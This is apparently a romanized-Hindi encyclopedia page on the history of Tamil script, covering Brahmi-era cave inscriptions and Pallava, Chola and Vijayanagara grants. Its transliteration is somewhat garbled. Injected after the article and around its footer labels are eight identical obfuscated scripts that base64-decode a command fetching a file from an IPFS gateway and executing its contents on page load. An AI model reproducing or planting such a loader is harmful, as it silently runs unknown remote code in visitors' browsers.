तमिल लिपि
tamil bhasha ke prachinatam lekh dakshin bharat ki kuchh gufaoan mean milate haian. ye lekh ee.poo. pahali-doosari shatabdi ke mane ge haian aur inaki lipi brahmi lipi hi hai. lekin isake bad satavian sadi tak tamil lipi ke vikas ka koee sootr hamare hath nahian lagata.
danapatr
satavian shatabdi mean pahali bar kuchh aise danapatr milate haian, jo sanskrit aur tamil donoan hi bhashaoan mean likhe ge haian. sanskrit bhasha ke lie granth lipi ka hi vyavahar dekhane ko milata hai. tamil bhasha ki tatkalin lipi bhi granth lipi se milati-julati hai. pallav raja parameshvar varman ke kooram danapatr mean sanskrit aur tamil donoan hi bhashaoan ke lekh milate haian. isi prakar, pallav raja nandi varman ke kasakudi-danapatr aur udayeandiramh ke danapatr mean tamil aansh dekhane ko milate haian. kooram danapatr 7vian shatabdi ka hai aur isake tamil lekh 'a', 'a', 'i', 'u', 'o', 'ch', 'n', 'n', 't', 'n', 'p', 'y' aur 'v' akshar usi danapatr ke sanskrit lekh ke aksharoan se milate haian. kasakudi-danapatr 8vian shatabdi ka hai, aur isake bhi bahut-se akshar granth lipi se milate-julate haian.
abhilekh
pallav shasak, apane uttaradhikari chol aur pandyoan ki tarah, sanskrit ke sath sthaniy janata ki tamil bhasha ka bhi adar karate the, isilie unake abhilekh in donoan bhashaoan mean milate haian. nauvian-dasavian shatabdi ke abhilekhoan ko dekhane se pata chalata hai ki tamil lipi, granth lipi ke sath-sath svatantr roop se vikasit ho rahi thi. in do shatabdiyoan ke tamil lekhoan mean pramukh haian- pallavatilakavanshi raja dantivarman ke samay ka tiruveळhळrai lekh, rashtrakoot raja krishnaraj tritiy ke samay ke tirukkovaloor aur velloor lekh. inamean dantivarman ke samay ka tiruveळhळrai lekh sundar tamil kavy mean hai.
pallavoan ki tarah chol rajaoan ke abhilekh bhi sanskrit aur tamil donoan mean milate haian. chol raja rajaraj 985 ee. mean tanjavur ki gaddi par baitha tha. usane dakshin bharat ke adhikaansh pradesh par adhikar karake sianhal ke sath-sath lakkadiv- maladiv dvipoan ko bhi apane rajy mean mila liya tha. usake bad 1012 ee. mean rajendr chol raja bana. rajendr ne ek jangi be da lekar shrivijay (sumatra) par akraman karake shailendroan ko parajit kiya tha. usane gau d desh ko bhi apane rajy mean mila liya tha. in do chol rajaoan ka shasan dakshin bharat ke itihas ka atyant gauravashali adhyay hai. inhoanne sanskrit ke sath-sath tamil bhasha ko bhi ashray diya tha. inaki vijayoan ki tarah inaka krititv bhi bhavy hai. inake abhilekh sanskrit bhasha (granth lipi) aur tamil bhasha (tamil lipi) donoan mean hi milate haian. rajendr chol ka granth lipi mean likha hua sanskrit bhasha ka tiruvalangadu danapatr to abhilekhoan ke itihas mean apana vishesh sthan rakhata hai. isamean taanbe ke b de-b de 31 patr haian, jinhean chhed karake ek mote k de se baandha gaya hai. is k de par ek b di-si muhar hai.
- tamil lipi mean rajendr chol ka tirumalai ki chattan par ek lekh milata hai. usi prakar, tanjavur ke brihadishvar mandir mean bhi usaka lekh aankit hai. in lekhoan ki tamil lipi mean aur tatkalin granth lipi mean spasht antar dikhaee deta hai.
- vijayanagar ke rajaoan ne bhi granth lipi ke sath-sath tamil lipi ka prayog kiya hai. shak san. 1308 (1387 ee.) ka vijayanagar ke raja viroopaksh ka shorekkavoor se tamil lipi mean danapatr apane rajy ke tamilabhashi kshetr mean mila hai.
- 15vian shatabdi mean tamil lipi vartaman tamil lipi ka roop dharan kar leti hai. haan, unnisavian shatabdi mean, mudran mean isaka roop sthayi hone ke pahale, isake kuchh aksharoan mean tho da-sa antar p da hai. shakabd 1403 (1483 ee.) ke mahamandaleshvar valakkayam ke shilalekh ke aksharoan tatha vartaman tamil lipi ke aksharoan mean kafi samanata hai.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>